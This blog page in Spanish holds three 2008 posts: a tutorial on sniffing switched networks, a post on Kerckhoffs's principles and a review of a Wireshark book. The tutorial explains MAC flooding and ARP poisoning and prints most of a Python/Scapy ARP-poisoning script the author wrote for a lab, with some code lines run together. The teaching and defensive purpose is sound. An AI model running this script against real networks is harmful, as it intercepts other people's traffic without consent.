19 diciembre 2008

Escuchas en redes conmutadas


Como los mayores del lugar recordarán, las redes de antaño se basaban en infraestructuras montadas a base de repetidores, también denominados hubs. Estos se comportaban enviando por todos sus puertos los datos que se recibiese por cualquiera de ellos. Los repetidores eran aparatos muy sencillos y carecían de lógica programada alguna. Consistían simplemente en un puenteado físico entre todos los puertos para asegurar que la señal que se recibiese por un puerto se repitiese por el resto. Esta sencillez tenía un precio y era lo reducido del rendimiento de las redes basadas en estos dispositivos ya que se creaba un único dominio de colisión, es decir ningún equipo de la red podía transmitir si lo estaba haciendo otro en ese momento. Además, las escuchas en este tipo de redes eran realmente sencillas ya que era el interfaz de cada equipo el que descartaba el tráfico que no le atañía, por lo que para escuchar toda la información que se cruzase por la red sólo había que poner el interfaz en modo promíscuo.

Con el tiempo, las redes evolucionaron al siguiente nivel y pasaron a utilizar conmutadores (en inglés switches). Estos dispositivos se diferencian de los anteriores en que disponen de lógica interna que les permite sacar los datos sólo por el puerto por el que se conecta su destinatario. Esto tiene una ventaja fundamental y es que mejora el rendimiento de las redes al dividirlas en múltiples dominios de colisión (uno por puerto). Sin embargo, aún hay gente que cree equivocadamente que el uso de conmutadores también evita las escuchas. Nada más lejos de la verdad. Si bien las escuchas no son tan sencillas como pasaba en las redes basadas en repetidores, se pueden seguir efectuando a partir de una serie de técnicas asequibles para cualquiera bien informado. A lo largo de este artículo repasaremos estas técnicas.

Para empezar es necesario que el lector entienda cómo funcionan los conmutadores. Todo dispositivo de red cuenta con una dirección IP que le identifica a lo largo y ancho de Internet y que permite que otros dispositivos se comuniquen con él. Sin embargo, esto permite que el paquete viaje hasta "el último salto" donde lo que se utiliza es el protocolo ARP (Address Resolution Protocol) para llegar al equipo destino.

Imaginemos dos dispositivos (A y B) que se encuentran en la misma red y que tienen direcciones del mismo rango de direccionamiento, ¿cómo se comunicarían entre sí?. Ambos conocen la dirección IP del otro, pero al estar ambos en el mismo rango de direccionamiento ya no hay enrutamiento que valga, por lo que tiene que entrar en juego la capa 2. Es decir, los interfaces de red de ambos dispositivos deben hablar entre sí. Para ello, todos los interfaces de red cuentan con una dirección en principio inalterable y única, que les viene asignada de fábrica y que se denomina MAC. Esto es la teoría, en la práctica el sistema operativo suele dar la opción de "forzar" una dirección MAC a nuestra elección, aunque es realmente raro que se haga uso de esta posibilidad. Los interfaces de red se comunican con otros interfaces de red de su mismo rango utilizando las direcciones MAC. Cuando A se quiere comunicar con B sólo cuenta con la dirección IP de por lo que debe hacer uso de un protocolo llamado ARP, del que se hablará más adelante, para averiguar cual es la dirección MAC de B. Una vez que A tiene la MAC de B manda un paquete de datos cuyo destinatario es precisamente la MAC de B. El conmutador que da servicio a A y a B envía el paquete sólo por el puerto al que se conecta B porque mantiene una tabla interna con las MAC que "cuelgan" de cada puerto. El interfaz de red de B, al recibir un paquete cuyo destinatario es su propia MAC, asume que el paquete le corresponde y lo escala a las capas superiores del equipo.

En principio el esquema parece seguro ya que los paquetes sólo llegan a sus legítimos destinatarios. El problema es que su implementación práctica suele abrir dos vías de ataque.

La primera vía de ataque hace referencia a la mencionada tabla interna que guardan los conmutadores. Los elementos de esta tabla son las MACs alcanzables por cada uno de los puertos. Para poblar esta tabla, el conmutador espera a que le vayan llegando paquetes. Cuando esto ocurre, el conmutador toma nota en su tabla del puerto por el que se ha recibido el paquete y la MAC del remitente del paquete. Una vez hecho esto, el conmutador mira cual es la MAC destinataria del paquete, consulta su tabla a ver si ya tiene registrada la localización de esa MAC y cuando la encuentra manda el paquete por el puerto apropiado. ¿Qué pasa si la MAC destino del paquete no consta en la tabla del conmutador? pues que este pasa a comportarse como un repetidor y reenvía ese paquete concreto por todos sus puertos. En realidad, este comportamiento sólo se da en los primeros minutos de funcionamiento del conmutador ya que si la red es medianamente activa en poco tiempo habrán emitido paquetes todos los elementos de la red (ya sea por inicios de conexión o por respuesta a paquetes) permitiendo que el conmutador los vaya "fichando" en su tabla.

A un atacante, lo que le gustaría es que el conmutador funcionase en modo repetidor cuando quisiera realizar una escucha. Para ello lo que tendrá que hacer es asegurarse de que el conmutador nunca encuentra las MACs de destino en su tabla. Esto nos lleva al primer tipo de ataque: el de inundación de la tabla del conmutador (mac flooding). En este ataque el intruso emitiría masivamente paquetes con MACs de origen ficticias. El destino y la naturaleza de estos paquetes no sería importante, aquí lo importante es que el conmutador fuese llenando su tabla con MACs inexistentes hasta agotar todo la memoria disponible, cuando eso ocurriese comenzaría a funcionar como repetidor al ser incapaz de encontrar las MACs de destino efectivas en su tabla atiborrada de basura. Este ataque era factible con los primeros conmutadores que salieron al mercado, ya que eran dispositivos poco potentes y apenas depurados. Sin embargo, en la actualidad los conmutadores cuentan con potencia suficiente como para evitar que un sólo PC les llene la tabla de MACs. Se trata por tanto de una carrera que el atacante difícilmente puede ganar. Además, este ataque es bastante indiscreto ya que degrada el rendimiento de la red de una manera tan llamativa que antes o después el administrador acabará accediendo al conmutador a ver qué le ocurre, se percatará del estado de la tabla de MACs y se imaginará que se está produciendo un ataque.

La segunda vía de ataque tiene que ver con la manera con la que los dispositivos de red averiguan la MAC del equipo con el que quieren hablar. Si un equipo con dirección IP A quiere hablar con otro de su mismo rango con dirección IP B usará el protocolo ARP para obtener la MAC de B. Básicamente lo que A hará es emitir un "ARP request" en el que preguntará a todos los equipos de su red: ¿cual es la MAC del equipo con dirección IP B?. El equipo B escuchará la pregunta y responderá con un "ARP reply": "yo soy el equipo con dirección IP B y mi MAC es esta". Una vez obtenida la MAC, A ya puede crear los paquetes de datos destinados a B. El equipo A guardará una tabla (la tabla de ARP) con las equivalencias ARP que vaya averiguando para no tener que preguntar por las MACs de las mismas direcciones IP una y otra vez. Hasta ahí todo bien, pero existe un tipo de paquete ARP denominado "update" que sirve para que B pueda tomar la iniciativa de actualizar su entrada en la tabla de ARP de A. ¿Para qué iba B a hacer esto?, ¿no hemos dicho que la MAC no suele cambiar?, es una buena pregunta que no tiene una respuesta fácil. Hay quien argumenta que este mecanismo se hizo para minimizar el impacto que supone para un equipo cambiar de dirección de IP en redes gestionadas por un servidor de DHCP, otros argumentan que no es sino otro de los agujeros de diseño de los protocolos que sustentan Internet, más pensados en la funcionalidad que en la seguridad. Lo cierto es que estas actualizaciones de la tabla de ARP suponen un vector de ataque gravísimo y muy difícil de detectar y da lugar a los llamados ataques de ARP Poisoning o envenenamiento ARP.

La idea del ARP Poisoning es la siguiente, supongamos que A y B están intercambiando paquetes en el transcurso de una conversación. La tabla de ARP de A contendrá el siguiente registro: IPb-MACb. A la inversa, la tabla de ARP de B contendrá el siguiente registro referente a A: IPa-MACa. Si un atacante C quisiera escuchar las comunicaciones entre A y B sólo tendría que enviarle a A el siguiente ARP update: IPb-MACc; y a B: IPa-MACc. De esta manera C engañaría a A haciendole creer que para llegar a B lo que debe hacer es destinar los paquetes... ¡a la MAC de C! (y viceversa para el caso de B). El efecto sería que C recibiría todos los paquetes que intercambiasen A y B, independientemente de que estos se interconecten mediante un conmutador. A partir de ahí, una vez escuchados los paquetes, C sólo tiene que reenviar los paquetes a su legítimos destinatarios para que estos no detecten el engaño. Este ataque funciona y es muy difícil de evitar. Como mucho se pueden forzar determinadas entradas de la tabla de ARP para que no cambien o que si lo hacen alerten al administrador. Es el caso de la aplicación ARPWatch, aplicación que vigila la tabla de ARP y alerta cuando una dirección IP pasa a ser usada por una MAC diferente, cosa que como hemos visto puede ser un síntoma de ARP Poisoning.

Herramientas como Ettercap o Cain&Abel incluyen este tipo de técnicas para realizar escuchas. En uno de mis artículos sobre creación de laboratorios virtuales se desarrolló una maqueta de una red conmutada para hacer pruebas de escuchas con ettercap. Esta maqueta se puede descargar desde aquí.

De todos modos, para los que prefieren el modo de vida samurai y construirse sus propias herramientas, se pueden programar estas técnicas de manera rápida y sencilla con Python y la librería Scapy (ambos elementos recurrentes en mis artículos). En la maqueta mencionada anteriormente (concretamente en la carpeta /root/scripts del PC-Sniffer) hay un script llamado ARPPoison, programado por mi para sistemas Linux, para ensayar la técnica del envenenamiento ARP.

La estructura de ARPPoison es muy sencilla:
## # PROGRAMA ## if (__name__ == "__main__"): parseArguments() checkEnvironment() gatherData() print "Comienza el ataque. Para pararlo pulse Control-C..." try: while (1): doARPPoisonAttack() time.sleep(WAITING_TIME) except KeyboardInterrupt: print "Ataque finalizado, borrando huellas de las caches..." repairARPCaches() print "Caches reparadas." print "Devolviendo a su sistema a la normalidad..." cleanThings() print "Hecho." print "�Que tenga un buen dia!" print "\n"
La función parseArguments se limita a tratar los parámetros introducidos por el usuario (las dos direcciones IP a las que hay que interceptar).

La siguiente función, checkEnvironment, se asegura de que nuestro sistema tiene activado el IP_Forwarding, esencial para devolver los paquetes interceptados a sus legítimos destinatarios después de realizar la escucha.
def checkEnvironment(): global forwarding global redirect input, output, error= os.popen3("sysctl net.ipv4.ip_forward" , 'r') line = output.readline() forwarding = int( line.split("=")[1].strip() ) if not forwarding: print "El sistema no esta configurado para reenviar paquetes." print "Habra que activar momentaneamente el reenvio." os.system("sudo sysctl net.ipv4.ip_forward=1") print "Activado el reenvio de paquetes." else: print "Bien, el reenvio de paquetes ya se encontraba activado."
En cuanto a gatherData, se encarga de averiguar cuales son las MACs de los dos extremos a interceptar. Necesitamos conocerlas para poder restaurar las tablas de ARP a su estado original cuando demos por finalizada la escucha.
#
# Esta funcion recopila los datos necesarios para realizar el envenenamiento ARP.
def gatherData():
    global mac_list_1
    global mac_list_2
    global my_MAC
    global my_IP
    #En general, obtener la direccion IP local no es un procedimiento portable entre
#sistemas operativos. Podriamos parsear la salida del comando ifconfig en linux
#y en windows la del comando ipconfig, pero es mucho mas sencillo aprovecharnos 
    #de que scapy usa la mac y la ip locales al crear un paquete ARP.
    arp_packet = scapy.ARP()
    my_MAC = arp_packet.hwsrc
    my_IP = arp_packet.psrc
    my_address = IPy.IP(my_IP)
    #Ahora recopilamos las MACs de los equipos comprendidos en los segmentos pedidos.
    print "Recopilando MACs involucradas para preparar la vuelta atras..."
    print "Extremo 1..."
    for ip in target_address_1:
        if (ip != my_address):
            mac_list_1[ip.strNormal()] = scapy.getmacbyip(ip.strNormal())
            print " " + ip.strNormal() + " ----> " + mac_list_1[ip.strNormal()] 
    print "Extremo 2..."
    for ip in target_address_2:
        if (ip != my_address):
            mac_list_2[ip.strNormal()] = scapy.getmacbyip(ip.strNormal())
            print " " + ip.strNormal() + " ----> " + mac_list_2[ip.strNormal()]
Una vez terminadas estas labores preliminares, se puede iniciar el ataque de envenenamiento. En el programa se encarga de ello la función doARPPoisonAttack, la cual se repite sucesivas veces en bucle para evitar que los registros fraudulentos de la tabla de ARP caduquen y se deshaga el desvio.

# # Esta funcion realiza el ataque de envenamiento ARP. def doARPPoisonAttack(): #La idea es mandar ARP-Replies a los host de la lista target_address_1 haciendoles #creer que los equipos de target_address_2 tienen la MAC de nuestro equipo y viceversa. # De esta manera haremos que el trafico entre unos y otros pase por nosotros. #Los codigos de operacion de los paquetes ARP son: #"who-has":1, "is-at":2, "RARP-req":3, "RARP-rep":4, "Dyn-RARP-req":5, "Dyn-RAR-rep":6, # "Dyn-RARP-err":7, "InARP-req":8,"InARP-rep":9 #Se puede encontrar una descripcion muy completa del formato de los paquetes ARP en: #http://www.comptechdoc.org/independent/networking/guide/netarp.html #Y por supuesto en su correspondiente RFC ;-) for ip in target_address_1: for ip2 in target_address_2: #Suplantamos a ip en cada ip2. arp_packet = scapy.ARP(op="is-at",hwsrc=my_MAC,psrc=ip.strNormal(), / hwdst=mac_list_2[ip2.strNormal()],pdst=ip2.strNormal()) #No es necesario, pero si quisieramos forzar el ethertype es necesario instalar #previamente un fichero /etc/ethertype valido. Hacer lo siguiente valdra: # wget http://pierre.droids-corp.org/scapy/ethertypes -O /etc/ethertypes #Se puede encontrar una lista mucho mas completa en: #http://www.iana.org/assignments/ethernet-numbers #aunque a esta ultima lista habria que darle formato para que la entendiese #scapy. ether_packet = scapy.Ether(dst=mac_list_2[ip2.strNormal()],src=my_MAC) packet_to_send = ether_packet / arp_packet
            # Hemos usado el sendp para realizar el envio a nivel 2.
scapy.sendp(packet_to_send, verbose=0) print "Suplantando a " + str(ip.strNormal()) + " en la cache ARP de " + / str(ip2.strNormal()) for ip2 in target_address_2: for ip in target_address_1: #Suplantamos a ip2 en cada ip. arp_packet = scapy.ARP(op="is-at",hwsrc=my_MAC,psrc=ip2.strNormal(), / hwdst=mac_list_1[ip.strNormal()],pdst=ip.strNormal()) ether_packet = scapy.Ether(dst=mac_list_1[ip.strNormal()],src=my_MAC) packet_to_send = ether_packet / arp_packet scapy.sendp(packet_to_send, verbose=0) print "Suplantando a " + str(ip2.strNormal()) + " en la cache ARP de " / + str(ip.strNormal())
En este punto es cuanto el atacante puede lanzar un sniffer en otra ventana (o con la orden screen si estamos en la maqueta de Netkit facilitada) y visualizar todo el tráfico intercambiado entre los extremos interceptados. Cuando de por terminada la sesión de escuchas pulsará Control-C para salir del bucle de envenenamiento y se dará paso a la función repairARPCaches que se encargará de enviar paquetes de ARP Update a los extremos atacados para dejar sus tablas de ARP en un estado correcto. Si no se efectuase esta corrección se produciría un corte de comunicaciones entre los dos extremos que podría alertarles del ataque.

# # Esta funcion revierte los cambios realizados reponiendo las MACs correctas # en las respectivas caches de ARP. def repairARPCaches(): for ip in target_address_1: for ip2 in target_address_2: #Reparamos a ip en cada ip2. arp_packet = scapy.ARP(op="is-at",hwsrc=mac_list_1[ip.strNormal()], / psrc=ip.strNormal(),hwdst=mac_list_2[ip2.strNormal()],pdst=ip2.strNormal()) ether_packet = scapy.Ether(dst=mac_list_2[ip2.strNormal()],src=my_MAC) packet_to_send = ether_packet / arp_packet
            #Hemos usado sendp para realizar el envio a nivel 2
scapy.sendp(packet_to_send, verbose=0) print "Reponiendo la MAC de " + str(ip.strNormal()) + /" en la cache ARP de " + str(ip2.strNormal()) for ip2 in target_address_2: for ip in target_address_1: #Reparamos a ip2 en cada ip. arp_packet = scapy.ARP(op="is-at",hwsrc=mac_list_2[ip2.strNormal()], / psrc=ip2.strNormal(),hwdst=mac_list_1[ip.strNormal()],pdst=ip.strNormal()) ether_packet = scapy.Ether(dst=mac_list_1[ip.strNormal()],src=my_MAC) packet_to_send = ether_packet / arp_packet scapy.sendp(packet_to_send, verbose=0) print "Reponiendo la MAC de " + str(ip2.strNormal()) + /" en la cache ARP de " + str(ip.strNormal())
Por último, está la función cleanThings, que se limita a desactivar el IP_Forwarding de nuestro equipo.
# # Esta funcion es un cajon de sastre para limpiar los cambios que hayamos hecho # en el sistema del usuario. def cleanThings(): print "Devolviendo a la variable de sistema ip_forward a su estado anterior (" / + str(forwarding) + ")..." os.system("sudo sysctl net.ipv4.ip_forward=" + str(forwarding))
Como se puede apreciar, realizar escuchas en un entorno conmutado no resulta nada complicado, existen herramientas para ello e incluso programar una no es nada difícil. Existen algunas maneras de detectar este tipo de ataques. En alguno de mis próximos artículos analizaré algunas de las trazas que pueden dejar este tipo de programas y cómo detectarlos.

Queda con ello demostrado que los conmutadores no aseguran la privacidad de nuestro tráfico, tal y como muchos creen erróneamente. La única manera de garantizar la privacidad de nuestros datos cuando estos viajen por la red es cifrarlos correctamente.

La Doctrina de Kerckhoffs

Auguste Kerckhoffs fue un filólogo de origen holandés que durante buena parte de la segunda mitad del siglo XIX se dedicó a la enseñanza del alemán en la Escuela Superior de Estudios Comerciales de París.

Sin embargo, lo que le hizo destacar hasta el punto de ser recordado hoy en día, son una serie de ensayos que publicó en la Revista de Ciencias Militares francesa. Estos ensayos versaban sobre criptografía militar y supusieron no sólo una revisión del estado del arte de esta disciplina sino también un soplo de aire fresco para las técnicas francesas en la materia. Hombre pragmático, Kerckhoffs expuso seis principios básicos para el correcto diseño de sistemas criptográficos:
  1. Si el sistema no es teóricamente irrompible, al menos debe serlo en la práctica.
  2. La efectividad del sistema no debe depender de que su diseño permanezca en secreto.
  3. La clave debe ser fácilmente memorizable de manera que no haya que recurrir a notas escritas.
  4. Los criptogramas deberán dar resultados alfanuméricos.
  5. El sistema debe ser operable por una única persona.
  6. El sistema debe ser fácil de utilizar.
Tras más de un siglo desde su publicación, los seis principios de Kerckhoffs siguen plenamente vigentes.

El primer principio es en el que se basan la mayor parte de los sistemas criptográficos modernos, los cuales dependen de espacios de claves lo suficientemente largos como para asegurar que es imposible reunir la potencia de calculo necesaria para localizar la clave correcta. Cuando la informática evoluciona hasta el punto de que empieza a ser posible "romper" las claves actuales, entonces todo el mundo incrementa la longitud de las claves para volver a hacer imposible su ruptura con los medios disponibles.

El tercer principio le sugerirá escenas cotidianas a cualquier ingeniero de seguridad. Cuantas veces nos habremos topado con políticas de seguridad equivocadas que obligaban a los usuarios a usar contraseñas espectacularmente complejas... con el único resultado de que el pobre usuario, para poder trabajar, no tenía más remedio que escribir la contraseña en un post-it pegado al ordenador.

Los principios cuarto, quinto y sexto no hacen sino reafirmar la necesidad de que los sistemas criptográficos reconozcan las limitaciones humanas si quieren ser realmente efectivos. Somos seres alfanuméricos, pensamos visualmente y cualquier cosa que nos saque de nuestras conocidas 3 dimensiones nos empieza a dar mareos. Un criptosistema que no respete estas limitaciones está condenado a fracasar, sencillamente porque los operadores destinados a usar dicho criptosistema tenderán a compensar la excesiva complejidad aplicando simplificaciones y "trucos" que no harán sino mermar la entropía del criptosistema y con ello su efectividad. El incorrecto cumplimiento del sexto principio por los alemanes durante la segunda guerra mundial llevó a que en muchas ocasiones los operadores de la célebre máquina Enigma colocasen determinados discos en posiciones predecibles lo que facilitaba notablemente la tarea de los criptoanalistas ingleses de Bletchley Park (recomendadísimos a este respecto los artículos de Román Ceano sobre la máquina Enigma).

El segundo principio es el más famoso y se le denomina Doctrina de Kerckhoffs o El Principio (en singular) de Kerckhoffs. Establece que la seguridad de un criptosistema debe depender en exclusiva de mantener en secreto la clave y no de ocultar el diseño del sistema. Durante años este principio fue olvidado o ignorado, de manera que se procuró dotar a los criptosistemas de la llamada seguridad por oscuridad ocultando su diseño e implementación a los usuarios. La Guerra Fría demostró que era demasiado costoso mantener en secreto el diseño de los criptosistemas por lo que no se podía depender de la oscuridad como base de la seguridad de estos sistemas. A partir de ahí, el diseño de los criptosistemas se hizo público, llegando a convocarse concursos abiertos para elegir los nuevos estándares de criptografía (como pasó por ejemplo con el AES). Este cambio ha sido muy beneficioso ya que ha permitido un mejor perfeccionamiento de los estándares al ampliar el número de cabezas pensantes que han podido analizarlos, criticarlos y mejorarlos. Con ello, se daba la razón a la Doctrina de Kerckhoffs más de 100 años después de su publicación.

Sin embargo, la Doctrina de Kerckhoffs trasciende desde campo de la criptografía alcanzando al conjunto de la Ingeniería de Seguridad: la seguridad de un sistema no puede depender de mantener en secreto su diseño. Sencillamente porque la imperfección natural del ser humano hace imposible que se pueda mantener indefinidamente dicho secreto y más en un mundo como el actual en el que la tendencia general es a hacer que la información fluya de manera natural. En este contexto, aquel ingeniero de seguridad que se empeñe en basar la fortaleza de su sistema en mantener la oscuridad sobre su diseño, se acabará encontrando tarde o temprano con que su diseño ha salido a la luz y no le queda más remedio que rehacerlo desde cero mientras los activos que protegía se ven completamente expuestos.

18 diciembre 2008

Practical Packet Analysis


"Practical Packet Analysis: Using Wireshark to Solve Real- World Network Problems" es, como su nombre advierte, un manual aplicado de Wireshark (antes conocido como Ethereal) que viene a exponer usos prácticos de este potente analizador de redes para detectar y solucionar problemas comunes en una red de datos moderna.

La verdad es que este libro no le enseñará nada nuevo a nadie con cinco o seis años de experiencia en configuración y administración de redes medias o grandes. Pero los que carezcan de tal experiencia encontrarán en este libro una interesante introducción a técnicas de troubleshooting mediante capturas de red tremendamente potentes y útiles para su quehacer diario. Todas estas técnicas se explican con un lenguaje cercano y práctico haciendo hincapie en los conceptos sobre el protocolo TCP/IP que todo administrador de red debería conocer (aunque desgraciadamente no siempre ocurre).

Para presentar la aplicación práctica de estas técnicas, el autor desarrolla los escenarios más variopintos: desde escenarios de lentitud de red, a ataques de gusanos de internet, pasando por problemas de enrutamiento, ataques de ARP Poisoning, y un largo etcetera. En todos estos escenarios, el autor expone cómo se podría utilizar la captura de paquetes de red y su posterior análisis mediante Wireshark para encontrar al causante del problema presentado.

Todo esto hace que este libro sea de fácil lectura y de inmediata aplicación ya que los ejemplos están perfectamente elegidos y son comunes en la problemática diaria de un departamento de comunicaciones. Es precisamente por eso que, posiblemente, este libro aporte poco a un administrador de red con cierta experiencia y que ya se habrá encontrado con estos problemas varias veces a lo largo de su carrera. A los otros, a los que están comenzando en el apasionante mundo de las Redes y la Seguridad este libro les será de tremenda ayuda.